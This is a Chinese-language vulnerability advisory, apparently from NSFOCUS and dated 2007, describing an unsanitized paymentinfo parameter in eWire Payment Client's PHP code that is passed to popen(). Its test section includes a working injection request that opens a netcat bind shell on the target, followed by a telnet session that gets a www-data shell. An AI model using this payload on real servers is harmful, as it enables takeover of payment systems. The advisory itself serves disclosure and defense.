安全研究

安全漏洞
eWire Payment Client paymentinfo参数任意命令执行漏洞

发布日期:2007-09-17
更新日期:2007-09-18

受影响系统:
eWire Payment Client 1.70
eWire Payment Client 1.60
描述:
BUGTRAQ  ID: 25683

eWire是在丹麦使用的电子支付系统。

eWire处理用户请求数据时存在输入验证漏洞,远程攻击者可能利用此漏洞控制服务器。

eWire中所使用的PHP脚本ewirepcfunctions.php在调用命令行可执行程序时没有过滤URL中的paymentinfo参数:

$strEncryptedPaymentInfo = $_GET["paymentinfo"];

ewirePC_Decrypt(
$ewireMerchantID,  
$ewireServerURL,  
$strEncryptedPaymentInfo
)

ewirePC_Decrypt()是ewirepcfunctions.php中的一个函数,在ewirePC_Decrypt()中$strEncryptedPaymentInfo参数变成了$strPaymentInfo:

$strCommandLine = "decrypt \"$strMerchantID\" \"$strServerUrl\"
\"$strPaymentInfo\"";
$handle = popen($ewirePaymentClientFileName . " " .
$strCommandLine, "r");

最终$strPaymentInfo参数没有经过检查便出现在了命令行,导致执行任意shell命令。

<*来源:Andrew  Christensen
  
  链接:http://secunia.com/advisories/26780/
        http://www.fortconsult.net/images/pdf/advisory_feb2007.pdf
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

GET
http://ewire.victim/simplePHPLinux/3payment_receive.php?paymentinfo=`/bin/nc -l -p6666 -e /bin/bash`
$ telnet ewire.victim 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

建议:
厂商补丁:

eWire
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ewire.dk/page.asp?keyword=forsidedk&language=da

浏览次数:2647
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障